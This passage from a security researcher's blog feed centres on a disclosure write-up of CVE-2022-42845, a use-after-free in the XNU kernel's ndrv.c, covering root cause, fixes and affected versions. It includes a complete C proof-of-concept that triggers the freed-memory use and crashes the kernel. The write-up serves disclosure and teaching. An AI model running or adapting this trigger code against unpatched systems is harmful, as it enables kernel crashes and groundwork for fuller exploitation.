<p>And, to make matters worse, the flags go at the end of <code>newofiles</code>, which is where the underwrite happens (my kingdom for a pointer overlap).</p>

<p>Here are the flags that matter:</p>

<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
</pre></td><td class='code'><pre><code class='C'><span class='line'><span class="cp">#define UF_RESERVED     0x04            </span><span class="cm">/* open pending / in progress */</span><span class="cp"></span>
</span><span class='line'><span class="cp">#define UF_CLOSING      0x08            </span><span class="cm">/* close in progress */</span><span class="cp"></span>
</span><span class='line'><span class="cp">#define UF_RESVWAIT     0x10            </span><span class="cm">/* close in progress */</span><span class="cp"></span>
</span><span class='line'><span class="cp">#define UF_INHERIT      0x20            </span><span class="cm">/* &quot;inherit-on-exec&quot; */</span><span class="cp"></span>
</span></code></pre></td></tr></table></div></figure>


<p>I spent a ton of time trying to find a way to flip bits in the pointer using these flags.</p>

<p>Ultimately I gave up, sent what I had to Apple, and moved on to the next bug (but I did learn a lot in the process).</p>

<p>Then, I saw <a href="https://blog.ret2.io/2022/06/29/pwn2own-2021-safari-sandbox-intel-graphics-exploit/">this awesome</a> blog post by Jack Dates from Ret2 Systems talking about how to corrupt from <code>kalloc_large</code> and <code>kernel_map</code>.</p>

<p>Hope this was enlightening or maybe you can empathize in my plight (it seems that us hackers rarely talk about our failures).</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[CVE-2022-42845: 20-Year-Old XNU Use After Free Vulnerability in ndrv.c]]></title>
    <link href="http://adamdoupe.com/blog/2022/12/13/cve-2022-42845-xnu-use-after-free-vulnerability-in-ndrv-dot-c/"/>
    <updated>2022-12-13T17:27:26-08:00</updated>
    <id>http://adamdoupe.com/blog/2022/12/13/cve-2022-42845-xnu-use-after-free-vulnerability-in-ndrv-dot-c</id>
    <content type="html"><![CDATA[<p>I&rsquo;ve been on a <a href="https://en.wikipedia.org/wiki/Sabbatical">sabbatical</a> this academic year, and my goal is to understand the state-of-the art in exploitation and vulnerability analysis by doing it myself, which <a href="https://defcon.social/@adamd/109356133299018816">I expanded on previously</a>.</p>

<p>This post describes the first vulnerability that I found in the <a href="https://en.wikipedia.org/wiki/XNU">XNU kernel</a>, which is the Operating System used for a number of Apple products, including Macs, iPhones, iPads, lots of i-devices really.</p>

<p>The vulnerability is a 20-year-old use-after-free vulnerability in XNU in <code>ndrv.c</code>, which can be triggered by a root user creating an <code>AF_NDRV</code> socket, and I learned a ton through identifying the root cause, the fix, and creating a proof-of-concept that triggers the vulnerability.
And it was quite cool to <a href="https://support.apple.com/kb/HT213530">see my name on the security notes</a>.</p>

<h2>Root Cause</h2>

<p>An attacker with root privileges can cause a dangling pointer in the <code>nd_multiaddrs</code> linked list where the data is freed but never removed from the linked list.</p>

<p>In <a href="https://github.com/apple-oss-distributions/xnu/blob/5c2921b07a2480ab43ec66f5b9e41cb872bc554f/bsd/net/ndrv.c#L1020"><code>ndrv.c:ndrv_do_remove_multicast</code></a>, the <code>nd_multiaddrs</code> linked list
is iterated over to remove the entry <code>ndrv_entry</code> from the
<code>nd_multiaddrs</code> linked list with the following code:</p>

<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
<span class='line-number'>24</span>
</pre></td><td class='code'><pre><code class='C'><span class='line'>        <span class="cm">/* Find the old entry */</span>
</span><span class='line'>      <span class="n">ndrv_entry</span> <span class="o">=</span> <span class="n">ndrv_have_multicast</span><span class="p">(</span><span class="n">np</span><span class="p">,</span> <span class="n">multi_addr</span><span class="p">);</span>
</span><span class='line'>
</span><span class='line'>      <span class="c1">// ...</span>
</span><span class='line'>
</span><span class='line'>      <span class="c1">// Remove from our linked list</span>
</span><span class='line'>      <span class="k">struct</span> <span class="n">ndrv_multiaddr</span><span class="o">*</span>  <span class="n">cur</span> <span class="o">=</span> <span class="n">np</span><span class="o">-&gt;</span><span class="n">nd_multiaddrs</span><span class="p">;</span>
</span><span class='line'>
</span><span class='line'>      <span class="n">ifmaddr_release</span><span class="p">(</span><span class="n">ndrv_entry</span><span class="o">-&gt;</span><span class="n">ifma</span><span class="p">);</span>
</span><span class='line'>
</span><span class='line'>      <span class="k">if</span> <span class="p">(</span><span class="n">cur</span> <span class="o">==</span> <span class="n">ndrv_entry</span><span class="p">)</span> <span class="p">{</span>
</span><span class='line'>          <span class="n">np</span><span class="o">-&gt;</span><span class="n">nd_multiaddrs</span> <span class="o">=</span> <span class="n">cur</span><span class="o">-&gt;</span><span class="n">next</span><span class="p">;</span>
</span><span class='line'>      <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
</span><span class='line'>          <span class="k">for</span> <span class="p">(</span><span class="n">cur</span> <span class="o">=</span> <span class="n">cur</span><span class="o">-&gt;</span><span class="n">next</span><span class="p">;</span> <span class="n">cur</span> <span class="o">!=</span> <span class="nb">NULL</span><span class="p">;</span> <span class="n">cur</span> <span class="o">=</span> <span class="n">cur</span><span class="o">-&gt;</span><span class="n">next</span><span class="p">)</span> <span class="p">{</span> <span class="c1">// adamd: Vulnerability</span>
</span><span class='line'>              <span class="k">if</span> <span class="p">(</span><span class="n">cur</span><span class="o">-&gt;</span><span class="n">next</span> <span class="o">==</span> <span class="n">ndrv_entry</span><span class="p">)</span> <span class="p">{</span>
</span><span class='line'>                  <span class="n">cur</span><span class="o">-&gt;</span><span class="n">next</span> <span class="o">=</span> <span class="n">cur</span><span class="o">-&gt;</span><span class="n">next</span><span class="o">-&gt;</span><span class="n">next</span><span class="p">;</span>
</span><span class='line'>                  <span class="k">break</span><span class="p">;</span>
</span><span class='line'>              <span class="p">}</span>
</span><span class='line'>          <span class="p">}</span>
</span><span class='line'>      <span class="p">}</span>
</span><span class='line'>
</span><span class='line'>      <span class="c1">// ...</span>
</span><span class='line'>
</span><span class='line'>              <span class="n">ndrv_multiaddr_free</span><span class="p">(</span><span class="n">ndrv_entry</span><span class="p">,</span> <span class="n">ndrv_entry</span><span class="o">-&gt;</span><span class="n">addr</span><span class="o">-&gt;</span><span class="n">sa_len</span><span class="p">);</span>
</span></code></pre></td></tr></table></div></figure>


<p>Now, if we consider a <code>struct ndrv_multiaddr*</code> linked list of the following:</p>

<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class='C'><span class='line'><span class="n">A</span> <span class="o">-&gt;</span> <span class="n">B</span> <span class="o">-&gt;</span> <span class="nb">NULL</span>
</span></code></pre></td></tr></table></div></figure>


<p>Where <code>A</code> is <code>nd_multiaddrs</code> (the head of the list) and <code>B</code> is <code>ndrv_entry</code> (the entry that we are deleting).</p>

<p>The start of the <code>for</code> loop sets <code>cur</code> to <code>cur-&gt;next</code>, and the <code>if</code> condition in the <code>for</code> loop compares <code>cur-&gt;next</code> to <code>ndrv_entry</code> to remove <code>ndrv_entry</code> from our list.</p>

<p>In our example, this will set <code>cur = B</code> at the start of the <code>for</code> loop, then test <code>NULL == B</code>, and the <code>if</code> condition will never trigger.</p>

<p>Thus, even though <code>B</code> is freed after this loop (in the call to <code>ndrv_multiaddr_free</code>), the <code>nd_multiaddrs</code> linked list in our example still looks like:</p>

<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class='C'><span class='line'><span class="n">A</span> <span class="o">-&gt;</span> <span class="n">B</span> <span class="o">-&gt;</span> <span class="nb">NULL</span>
</span></code></pre></td></tr></table></div></figure>


<p>The conditions for triggering this vulnerability are that there must be at least two elements on the <code>nd_multiaddrs</code> list, and the second element in the list is removed.</p>

<h2>Real Root Cause</h2>

<p>One of the things that I love about discovering vulnerabilities is trying to put myself in the shoes of the developer to understand why the bug occurred.</p>

<p>I can completely relate to the developer here: it took me awhile of walking through the code to even <em>believe</em> that there was a vulnerability.</p>

<p>On first glance, everything looks fine.</p>

<p>The other aspect to consider is the conditions that have to occur for the bug to be triggered: usually if an off-by-one error (which is essentially what this is) occurs it would be caught by the developer while doing normal testing: because the system wouldn&rsquo;t do what it was supposed to do.</p>

<p>However, this condition does not trigger in the case of one element in the list, and only occurs if you delete a specific item in a list that has more than one item.</p>

<p>Therefore, I can completely relate to the developer making this mistake and not noticing this bug.</p>

<h2>My Proposed Fix</h2>

<p>A fix for the vulnerability is to not increment the <code>cur</code> pointer before entering the loop:</p>

<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
</pre></td><td class='code'><pre><code class='C'><span class='line'>        <span class="k">for</span> <span class="p">(;</span> <span class="n">cur</span> <span class="o">!=</span> <span class="nb">NULL</span><span class="p">;</span> <span class="n">cur</span> <span class="o">=</span> <span class="n">cur</span><span class="o">-&gt;</span><span class="n">next</span><span class="p">)</span> <span class="p">{</span>
</span><span class='line'>          <span class="k">if</span> <span class="p">(</span><span class="n">cur</span><span class="o">-&gt;</span><span class="n">next</span> <span class="o">==</span> <span class="n">ndrv_entry</span><span class="p">)</span> <span class="p">{</span>
</span><span class='line'>              <span class="n">cur</span><span class="o">-&gt;</span><span class="n">next</span> <span class="o">=</span> <span class="n">cur</span><span class="o">-&gt;</span><span class="n">next</span><span class="o">-&gt;</span><span class="n">next</span><span class="p">;</span>
</span><span class='line'>              <span class="k">break</span><span class="p">;</span>
</span><span class='line'>          <span class="p">}</span>
</span><span class='line'>      <span class="p">}</span>
</span><span class='line'>  <span class="p">}</span>
</span></code></pre></td></tr></table></div></figure>


<h2>The Real Fix</h2>

<p>And, looking at the <a href="https://github.com/apple-oss-distributions/xnu/blob/rel/xnu-8792/bsd/net/ndrv.c#L976">patched version</a>, it seems that something similar was used by abstracting the deletion logic into a function <code>ndrv_cb_remove_multiaddr</code>:</p>

<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
<span class='line-number'>24</span>
</pre></td><td class='code'><pre><code class='C'><span class='line'><span class="n">ndrv_cb_remove_multiaddr</span><span class="p">(</span><span class="k">struct</span> <span class="n">ndrv_cb</span> <span class="o">*</span><span class="n">np</span><span class="p">,</span> <span class="k">struct</span> <span class="n">ndrv_multiaddr</span> <span class="o">*</span><span class="n">ndrv_entry</span><span class="p">)</span>
</span><span class='line'><span class="p">{</span>
</span><span class='line'>  <span class="k">struct</span> <span class="n">ndrv_multiaddr</span>   <span class="o">*</span><span class="n">cur</span> <span class="o">=</span> <span class="n">np</span><span class="o">-&gt;</span><span class="n">nd_multiaddrs</span><span class="p">;</span>
</span><span class='line'>  <span class="kt">bool</span>                    <span class="n">removed</span> <span class="o">=</span> <span class="nb">false</span><span class="p">;</span>
</span><span class='line'>
</span><span class='line'>  <span class="k">if</span> <span class="p">(</span><span class="n">cur</span> <span class="o">==</span> <span class="n">ndrv_entry</span><span class="p">)</span> <span class="p">{</span>
</span><span class='line'>      <span class="cm">/* we were the head */</span>
</span><span class='line'>      <span class="n">np</span><span class="o">-&gt;</span><span class="n">nd_multiaddrs</span> <span class="o">=</span> <span class="n">cur</span><span class="o">-&gt;</span><span class="n">next</span><span class="p">;</span>
</span><span class='line'>      <span class="n">removed</span> <span class="o">=</span> <span class="nb">true</span><span class="p">;</span>
</span><span class='line'>  <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
</span><span class='line'>      <span class="cm">/* find our entry */</span>
</span><span class='line'>      <span class="k">struct</span> <span class="n">ndrv_multiaddr</span>  <span class="o">*</span><span class="n">cur_next</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
</span><span class='line'>
</span><span class='line'>      <span class="k">for</span> <span class="p">(;</span> <span class="n">cur</span> <span class="o">!=</span> <span class="nb">NULL</span><span class="p">;</span> <span class="n">cur</span> <span class="o">=</span> <span class="n">cur_next</span><span class="p">)</span> <span class="p">{</span>
</span><span class='line'>          <span class="n">cur_next</span> <span class="o">=</span> <span class="n">cur</span><span class="o">-&gt;</span><span class="n">next</span><span class="p">;</span>
</span><span class='line'>          <span class="k">if</span> <span class="p">(</span><span class="n">cur_next</span> <span class="o">==</span> <span class="n">ndrv_entry</span><span class="p">)</span> <span class="p">{</span>
</span><span class='line'>              <span class="n">cur</span><span class="o">-&gt;</span><span class="n">next</span> <span class="o">=</span> <span class="n">cur_next</span><span class="o">-&gt;</span><span class="n">next</span><span class="p">;</span>
</span><span class='line'>              <span class="n">removed</span> <span class="o">=</span> <span class="nb">true</span><span class="p">;</span>
</span><span class='line'>              <span class="k">break</span><span class="p">;</span>
</span><span class='line'>          <span class="p">}</span>
</span><span class='line'>      <span class="p">}</span>
</span><span class='line'>  <span class="p">}</span>
</span><span class='line'>  <span class="n">ASSERT</span><span class="p">(</span><span class="n">removed</span><span class="p">);</span>
</span><span class='line'><span class="p">}</span>
</span></code></pre></td></tr></table></div></figure>


<p>It is fascinating to learn how the developers fix these underlying bugs.
While the bug itself was fixed, I notice two interesting additions here:</p>

<ol>
<li><p>Abstracting the functionality of removing a <code>ndrv_multiaddr</code> into a single function <code>ndrv_cb_remove_multiaddr</code>.
In addition to being good software development practice, doing so will help prevent future bugs so developers have a single function to call to delete a <code>ndrv_multiaddr</code> rather than doing it themselves (and introducing another bug).</p></li>
<li><p>The developers also added an <code>ASSERT(removed);</code> at the end of the function, and this is important because it essentially encodes the security requirements of the function into the <code>ASSERT</code> statement.
If future developers change functionality here, it will be unlikely that the bug will be reintroduced (although it might not be clear to future developers <em>why</em> a function that attempts to remove from a linked list should never fail, so perhaps they would remove it then).</p></li>
</ol>


<h2>Affected Versions</h2>

<p>From what I can tell, it seems that the vulnerable code was introduced
in XNU 344 and shipped with Mac OS X Jaguar (10.2), and this bug has
been present since ~2002, which makes this a 20-year old bug!</p>

<p>First commit:
<a href="https://github.com/apple-oss-distributions/xnu/blob/fad439e77835295998e796a2547c75c42f4bc623/bsd/net/ndrv.c#L1054">https://github.com/apple-oss-distributions/xnu/blob/fad439e77835295998e796a2547c75c42f4bc623/bsd/net/ndrv.c#L1054</a></p>

<h2>POC</h2>

<p>Here&rsquo;s <a href="https://github.com/adamdoupe/adamd-pocs/blob/main/CVE-2022-42845/CVE-2022-42845.c">the POC</a> that I wrote to trigger this bug, which uses <code>close</code> on the socket to call
<code>ndrv_do_detach</code> and then <code>ndrv_remove_all_multicast</code>, which
dereferences the dangling object:</p>

<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
<span class='line-number'>24</span>
<span class='line-number'>25</span>
<span class='line-number'>26</span>
<span class='line-number'>27</span>
<span class='line-number'>28</span>
<span class='line-number'>29</span>
<span class='line-number'>30</span>
<span class='line-number'>31</span>
<span class='line-number'>32</span>
<span class='line-number'>33</span>
<span class='line-number'>34</span>
<span class='line-number'>35</span>
<span class='line-number'>36</span>
<span class='line-number'>37</span>
<span class='line-number'>38</span>
<span class='line-number'>39</span>
<span class='line-number'>40</span>
<span class='line-number'>41</span>
<span class='line-number'>42</span>
<span class='line-number'>43</span>
<span class='line-number'>44</span>
<span class='line-number'>45</span>
<span class='line-number'>46</span>
<span class='line-number'>47</span>
<span class='line-number'>48</span>
<span class='line-number'>49</span>
<span class='line-number'>50</span>
<span class='line-number'>51</span>
<span class='line-number'>52</span>
<span class='line-number'>53</span>
<span class='line-number'>54</span>
<span class='line-number'>55</span>
<span class='line-number'>56</span>
<span class='line-number'>57</span>
<span class='line-number'>58</span>
<span class='line-number'>59</span>
<span class='line-number'>60</span>
<span class='line-number'>61</span>
<span class='line-number'>62</span>
<span class='line-number'>63</span>
<span class='line-number'>64</span>
<span class='line-number'>65</span>
<span class='line-number'>66</span>
<span class='line-number'>67</span>
<span class='line-number'>68</span>
<span class='line-number'>69</span>
<span class='line-number'>70</span>
<span class='line-number'>71</span>
<span class='line-number'>72</span>
<span class='line-number'>73</span>
<span class='line-number'>74</span>
<span class='line-number'>75</span>
<span class='line-number'>76</span>
<span class='line-number'>77</span>
<span class='line-number'>78</span>
<span class='line-number'>79</span>
<span class='line-number'>80</span>
<span class='line-number'>81</span>
<span class='line-number'>82</span>
<span class='line-number'>83</span>
<span class='line-number'>84</span>
<span class='line-number'>85</span>
<span class='line-number'>86</span>
<span class='line-number'>87</span>
<span class='line-number'>88</span>
<span class='line-number'>89</span>
</pre></td><td class='code'><pre><code class='C'><span class='line'><span class="cp">#include &lt;stddef.h&gt;</span>
</span><span class='line'><span class="cp">#include &lt;sys/socket.h&gt;</span>
</span><span class='line'><span class="cp">#include &lt;netinet/in.h&gt;</span>
</span><span class='line'><span class="cp">#include &lt;stdio.h&gt;</span>
</span><span class='line'><span class="cp">#include &lt;unistd.h&gt;</span>
</span><span class='line'><span class="cp">#include &lt;string.h&gt;</span>
</span><span class='line'><span class="cp">#include &lt;stdlib.h&gt;</span>
</span><span class='line'>
</span><span class='line'><span class="cm">/*</span>
</span><span class='line'>
</span><span class='line'><span class="cm">  Author: Adam Doupe (adamd)</span>
</span><span class='line'><span class="cm">  POC for CVE-2022-42845: a kernel use-after-free vulnerability in ndrv.c in XNU.</span>
</span><span class='line'><span class="cm">  Writeup: https://adamdoupe.com/blog/2022/12/13/cve-2022-42845-xnu-use-after-free-vulnerability-in-ndrv-dot-c/  </span>
</span><span class='line'>
</span><span class='line'><span class="cm">*/</span>
</span><span class='line'>
</span><span class='line'>
</span><span class='line'><span class="cp">#define TCPOPT_SACK 5</span>
</span><span class='line'><span class="cp">#define TCPOLEN_CC 6</span>
</span><span class='line'>
</span><span class='line'><span class="k">struct</span> <span class="n">sockaddr_generic</span> <span class="p">{</span>
</span><span class='line'>  <span class="kt">uint8_t</span> <span class="n">sa_len</span><span class="p">;</span>
</span><span class='line'>  <span class="kt">uint8_t</span> <span class="n">sa_family</span><span class="p">;</span>
</span><span class='line'><span class="p">};</span>
</span><span class='line'>
</span><span class='line'><span class="kt">int</span> <span class="nf">main</span><span class="p">()</span>
</span><span class='line'><span class="p">{</span>
</span><span class='line'>   <span class="kt">int</span> <span class="n">sockfd</span> <span class="o">=</span> <span class="n">socket</span><span class="p">(</span><span class="n">AF_NDRV</span><span class="p">,</span> <span class="n">SOCK_RAW</span><span class="p">,</span> <span class="n">IPPROTO_IP</span><span class="p">);</span>
</span><span class='line'>   <span class="k">if</span> <span class="p">(</span><span class="n">sockfd</span> <span class="o">==</span> <span class="o">-</span><span class="mi">1</span><span class="p">)</span>
</span><span class='line'>   <span class="p">{</span>
</span><span class='line'>      <span class="n">perror</span><span class="p">(</span><span class="s">&quot;socket&quot;</span><span class="p">);</span>
</span><span class='line'>      <span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
</span><span class='line'>   <span class="p">}</span>
</span><span class='line'>
</span><span class='line'>   <span class="kt">char</span><span class="o">*</span> <span class="n">sa_data</span> <span class="o">=</span> <span class="s">&quot;lo0&quot;</span><span class="p">;</span>
</span><span class='line'>   <span class="k">struct</span> <span class="n">sockaddr_generic</span> <span class="n">sag_s</span> <span class="o">=</span> <span class="p">{</span>
</span><span class='line'>      <span class="p">.</span><span class="n">sa_len</span> <span class="o">=</span> <span class="p">(</span><span class="k">sizeof</span><span class="p">(</span><span class="k">struct</span> <span class="n">sockaddr_generic</span><span class="p">)</span> <span class="o">+</span> <span class="n">strlen</span><span class="p">(</span><span class="n">sa_data</span><span class="p">)</span> <span class="o">+</span> <span class="mi">1</span><span class="p">),</span>
</span><span class='line'>      <span class="p">.</span><span class="n">sa_family</span> <span class="o">=</span> <span class="n">AF_NS</span><span class="p">,</span>
</span><span class='line'>   <span class="p">};</span>
</span><span class='line'>
</span><span class='line'>   <span class="kt">char</span><span class="o">*</span> <span class="n">sockaddr</span> <span class="o">=</span> <span class="p">(</span><span class="kt">char</span><span class="o">*</span><span class="p">)</span> <span class="n">malloc</span><span class="p">(</span><span class="n">sag_s</span><span class="p">.</span><span class="n">sa_len</span><span class="p">);</span>
</span><span class='line'>   <span class="n">memcpy</span><span class="p">(</span><span class="n">sockaddr</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">sag_s</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="k">struct</span> <span class="n">sockaddr_generic</span><span class="p">));</span>
</span><span class='line'>   <span class="n">memcpy</span><span class="p">(</span><span class="n">sockaddr</span> <span class="o">+</span> <span class="k">sizeof</span><span class="p">(</span><span class="k">struct</span> <span class="n">sockaddr_generic</span><span class="p">),</span> <span class="n">sa_data</span><span class="p">,</span> <span class="n">strlen</span><span class="p">(</span><span class="n">sa_data</span><span class="p">)</span> <span class="o">+</span> <span class="mi">1</span><span class="p">);</span>
</span><span class='line'>
</span><span class='line'>   <span class="kt">char</span><span class="o">*</span> <span class="n">sockaddr_real</span> <span class="o">=</span> <span class="s">&quot;</span><span class="se">\x05\x00\x6c\x6f\x30</span><span class="s">&quot;</span><span class="p">;</span>
</span><span class='line'>   <span class="kt">int</span> <span class="n">size</span> <span class="o">=</span> <span class="mi">5</span><span class="p">;</span>
</span><span class='line'>   <span class="kt">int</span> <span class="n">result</span> <span class="o">=</span> <span class="n">bind</span><span class="p">(</span><span class="n">sockfd</span><span class="p">,</span> <span class="p">(</span><span class="k">struct</span> <span class="n">sockaddr</span><span class="o">*</span><span class="p">)</span><span class="n">sockaddr_real</span><span class="p">,</span> <span class="n">size</span><span class="p">);</span>
</span><span class='line'>
</span><span class='line'>   <span class="k">if</span> <span class="p">(</span><span class="n">result</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span>
</span><span class='line'>   <span class="p">{</span>
</span><span class='line'>      <span class="n">perror</span><span class="p">(</span><span class="s">&quot;bind&quot;</span><span class="p">);</span>
</span><span class='line'>      <span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
</span><span class='line'>   <span class="p">}</span>
</span><span class='line'>
</span><span class='line'>   <span class="c1">// Add B to `nd_multiaddrs`</span>
</span><span class='line'>
</span><span class='line'>   <span class="kt">char</span> <span class="n">val</span><span class="p">[]</span> <span class="o">=</span> <span class="s">&quot;</span><span class="se">\010\000\000\000\000\000\000\000</span><span class="s">&quot;</span><span class="p">;</span>
</span><span class='line'>   <span class="kt">int</span> <span class="n">val_size</span> <span class="o">=</span> <span class="mi">8</span><span class="p">;</span>
</span><span class='line'>   <span class="n">result</span> <span class="o">=</span> <span class="n">setsockopt</span><span class="p">(</span><span class="n">sockfd</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">TCPOPT_SACK</span><span class="p">,</span> <span class="n">val</span><span class="p">,</span> <span class="n">val_size</span><span class="p">);</span>
</span><span class='line'>   <span class="k">if</span> <span class="p">(</span><span class="n">result</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span>
</span><span class='line'>   <span class="p">{</span>
</span><span class='line'>      <span class="n">perror</span><span class="p">(</span><span class="s">&quot;setsockopt&quot;</span><span class="p">);</span>
</span><span class='line'>      <span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
</span><span class='line'>   <span class="p">}</span>
</span><span class='line'>
</span><span class='line'>   <span class="c1">// Add A to `nd_multiaddrs` (which becomes the head)</span>
</span><span class='line'>
</span><span class='line'>   <span class="kt">char</span> <span class="n">val_2</span><span class="p">[]</span> <span class="o">=</span> <span class="s">&quot;</span><span class="se">\010\000\000\374\377\000\000\000</span><span class="s">&quot;</span><span class="p">;</span>
</span><span class='line'>   <span class="kt">int</span> <span class="n">val_2_size</span> <span class="o">=</span> <span class="mi">8</span><span class="p">;</span>
</span><span class='line'>   <span class="n">result</span> <span class="o">=</span> <span class="n">setsockopt</span><span class="p">(</span><span class="n">sockfd</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">TCPOPT_SACK</span><span class="p">,</span> <span class="n">val_2</span><span class="p">,</span> <span class="n">val_2_size</span><span class="p">);</span>
</span><span class='line'>   <span class="k">if</span> <span class="p">(</span><span class="n">result</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span>
</span><span class='line'>   <span class="p">{</span>
</span><span class='line'>      <span class="n">perror</span><span class="p">(</span><span class="s">&quot;setsockopt&quot;</span><span class="p">);</span>
</span><span class='line'>      <span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
</span><span class='line'>   <span class="p">}</span>
</span><span class='line'>
</span><span class='line'>   <span class="c1">// Delete B</span>
</span><span class='line'>   <span class="n">result</span> <span class="o">=</span> <span class="n">setsockopt</span><span class="p">(</span><span class="n">sockfd</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">TCPOLEN_CC</span><span class="p">,</span> <span class="n">val</span><span class="p">,</span> <span class="n">val_size</span><span class="p">);</span>
</span><span class='line'>   <span class="k">if</span> <span class="p">(</span><span class="n">result</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span>
</span><span class='line'>   <span class="p">{</span>
</span><span class='line'>      <span class="n">perror</span><span class="p">(</span><span class="s">&quot;setsockopt&quot;</span><span class="p">);</span>
</span><span class='line'>      <span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
</span><span class='line'>   <span class="p">}</span>
</span><span class='line'>
</span><span class='line'>   <span class="c1">// At this point B is freed, so we can call multiple functions to exploit</span>
</span><span class='line'>
</span><span class='line'>   <span class="c1">// closing the socket will call `ndrv_do_remove_multicast` which will crash referencing the deallocated B</span>
</span><span class='line'>   <span class="n">close</span><span class="p">(</span><span class="n">sockfd</span><span class="p">);</span>
</span><span class='line'><span class="p">}</span>
</span></code></pre></td></tr></table></div></figure>


<h2>Vulnerability Discovery</h2>

<p>I&rsquo;m not going to say much publicly at the moment as to how I found this vulnerability, because I&rsquo;m still using it to find bugs.</p>

<p>I&rsquo;ll release everything toward the end of my sabbatical, but for now it suffices to say that fuzzing techniques are amazing for finding these types of tricky corner-cases.</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Tokyo Western MMA 2016 Walkthrough: Judgement]]></title>
    <link href="http://adamdoupe.com/blog/2016/10/07/tokyo-western-mma-2016-walkthrough-judgement/"/>
    <updated>2016-10-07T22:13:28-07:00</updated>
    <id>http://adamdoupe.com/blog/2016/10/07/tokyo-western-mma-2016-walkthrough-judgement</id>
    <content type="html"><![CDATA[<p>The <a href="https://twitter.com/pwndevils">pwndevils</a> competed in the
<a href="https://ctftime.org/event/336">2016 Tokyo Western / MMA CTF</a> (and had a lot of
fun doing so).</p>

<p>Afterwards, we recorded, during our weekly meeting, a walkthrough of
the <a href="https://www.dropbox.com/s/i5w5jjkcjjqbeeg/judgement-4da7533784aa31b96ca158fbda9677ee8507781ead6625dc6d577fd5d2ff697c?dl=0">judgement</a> binary. This was a very cool format
string vulnerability.</p>

<p>Here&rsquo;s the recording:</p>

<iframe width="560" height="315" src="https://www.youtube.com/embed/OlSRUOsB9VQ" frameborder="0" allowfullscreen></iframe>



]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Talk: A Computer in Every Pocket: Securing Mobile Applications]]></title>
    <link href="http://adamdoupe.com/blog/2016/09/09/talk-a-computer-in-every-pocket-securing-mobile-applications/"/>
    <updated>2016-09-09T12:02:26-07:00</updated>
    <id>http://adamdoupe.com/blog/2016/09/09/talk-a-computer-in-every-pocket-securing-mobile-applications</id>
    <content type="html"><![CDATA[<p>On 9/8/16 I was invited to give a lecture at the
<a href="https://newcollege.asu.edu/mathematical-natural-sciences-degree-programs">School of Mathematical and Natural Sciences</a>
